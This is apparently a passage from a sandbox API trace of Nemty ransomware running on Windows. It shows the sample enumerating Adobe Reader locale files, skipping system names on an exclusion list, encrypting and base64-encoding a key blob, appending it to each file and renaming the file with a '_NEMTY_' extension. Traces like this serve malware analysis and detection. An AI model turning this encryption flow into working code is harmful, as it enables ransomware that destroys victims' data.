[0182.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0182.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0182.837] Sleep (dwMilliseconds=0x5) [0182.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20a19910, dwHighDateTime=0x1d561e8)) [0182.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20a19910, dwHighDateTime=0x1d561e8)) [0182.845] GetLastError () returned 0x0 [0182.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.846] GetLastError () returned 0x0 [0182.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.846] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.846] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.846] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0182.846] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Ewq+G/odKFane7i9Oo4OBVhsjhCI62AhWkoBhpYvJ5fQ2tVTl8POuwcUYmnATVQN\r\nS9/pomBXZqW2wDHueu/rU/o/MOEN59NtS2eq3hvud1fQQNIzilImp8oNt5ECuMDP\r\nfLewRS9mCFt/Ntec2PblzaoyxQo9sqbRbROXNZdzNo5qrx0LW/jqJ+isw75SaIbC\r\neKZmhA8rJkDE8KAM/6zbhv54nfqMwx+Sh/GL9bOdg/vwMgAkMMzheI6tv7AA/Gc6\r\n/sspqLOuAFdcyQdptUWW8f8bidV9q5PBBwF/lmS+YbYJH0z+9NMzGwniiKwdm8ph\r\nn6vuTZv+rqJXoPbW3LTnRQ==\r\n", pcchString=0x653e5dc) returned 1 [0182.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0182.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.846] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Annots.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\annots.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.847] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=509440) returned 1 [0182.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0182.847] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.847] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0182.856] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.856] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0182.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.857] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=509440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c600 [0182.857] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.858] CloseHandle (hObject=0x2e8) returned 1 [0182.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0182.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0182.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0182.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.859] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Annots.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\annots.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Annots.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\annots.rus._nemty_kgobjgd_")) returned 1 [0182.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0182.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0182.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0182.860] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.RUS", cAlternateFileName="BRDLAN~1.RUS")) returned 1 [0182.860] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2=".") returned 1 [0182.860] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="..") returned 1 [0182.860] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="...") returned 1 [0182.860] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="windows") returned -1 [0182.860] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.860] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="rsa") returned -1 [0182.860] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="NTDETECT.COM") returned -1 [0182.860] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="ntldr") returned -1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="MSDOS.SYS") returned -1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="IO.SYS") returned -1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="boot.ini") returned 1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="boot.ini") returned 1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="ntuser.dat") returned -1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="desktop.ini") returned -1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="CONFIG.SYS") returned -1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="RECYCLER") returned -1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="BOOTSECT.BAK") returned 1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="bootmgr") returned 1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="programdata") returned -1 [0182.861] lstrcmpiW (lpString1="BRdlang32.RUS", lpString2="appdata") returned 1 [0182.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUS", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.RUS", lpUsedDefaultChar=0x0) returned 13 [0182.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUS", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.RUS", lpUsedDefaultChar=0x0) returned 13 [0182.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUS", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.RUS", lpUsedDefaultChar=0x0) returned 13 [0182.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0182.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.RUS", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.RUS", lpUsedDefaultChar=0x0) returned 13 [0182.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0182.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0182.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0182.862] Sleep (dwMilliseconds=0x5) [0182.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20a65bd0, dwHighDateTime=0x1d561e8)) [0182.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20a65bd0, dwHighDateTime=0x1d561e8)) [0182.877] GetLastError () returned 0x0 [0182.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0182.877] GetLastError () returned 0x0 [0182.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0182.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.877] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0182.877] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0182.877] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0182.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0182.877] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="5SwbOsRFOxXENFhyPWcm6Fl630lobFGl7jP77OWWskLloHEflB15SZr2oAc11W7L\r\nH2CmcBVkXEcGTkHd1rRaEQgNPFdpNd3vwwOjEC8P26IGhACByHZNGNq2PVGCV4lt\r\nadgnBVYIShUGRvJ3HO5T543MTfCWpgjkJellGMSMBdScxPD5ZBeFj/zHXLKu7JFg\r\nVj1+Ly/IZPzqsYMqo3NquaVH9ces5jdSiCsTZEjjnwvJzpBhAykpkyCizSXK4Icd\r\nEBEoxSj/K/PpPRfFOBmehf1KJL8sn1R+Vh9L7v/VNvWNt67Ug60CcKwUfy1H/CRD\r\nMOpTAvl784HNuU0y/EoIeQ==\r\n", pcchString=0x653e5dc) returned 1 [0182.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0182.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0182.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0182.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0182.877] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\BRdlang32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\brdlang32.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0182.878] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13312) returned 1 [0182.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3400) returned 0x6352c48 [0182.878] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.878] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3400, lpOverlapped=0x0) returned 1 [0182.880] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0182.880] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3400, lpOverlapped=0x0) returned 1 [0182.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0182.880] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3400 [0182.880] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0182.880] CloseHandle (hObject=0x2e8) returned 1 [0182.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0182.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0182.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0182.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0182.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0182.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0182.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0182.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0182.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.881] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\BRdlang32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\brdlang32.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\BRdlang32.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\brdlang32.rus._nemty_kgobjgd_")) returned 1 [0182.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0182.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0182.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0182.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0182.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0182.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0182.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0182.882] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.RUS", cAlternateFileName="")) returned 1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2=".") returned 1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="..") returned 1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="...") returned 1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="windows") returned -1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="$RECYCLE.BIN") returned 1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="rsa") returned -1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="NTDETECT.COM") returned -1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="ntldr") returned -1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="MSDOS.SYS") returned -1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="IO.SYS") returned -1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="boot.ini") returned 1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="boot.ini") returned 1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="ntuser.dat") returned -1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="desktop.ini") returned -1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="CONFIG.SYS") returned -1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="RECYCLER") returned -1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="BOOTSECT.BAK") returned 1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="bootmgr") returned 1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="programdata") returned -1 [0182.882] lstrcmpiW (lpString1="Checkers.RUS", lpString2="appdata") returned 1 [0182.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.RUS", lpUsedDefaultChar=0x0) returned 12 [0182.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0182.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.RUS", lpUsedDefaultChar=0x0) returned 12 [0182.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0182.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0182.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0182.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0182.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.RUS", cchWideChar=12, lpMultiByteStr=0x653e8e0, 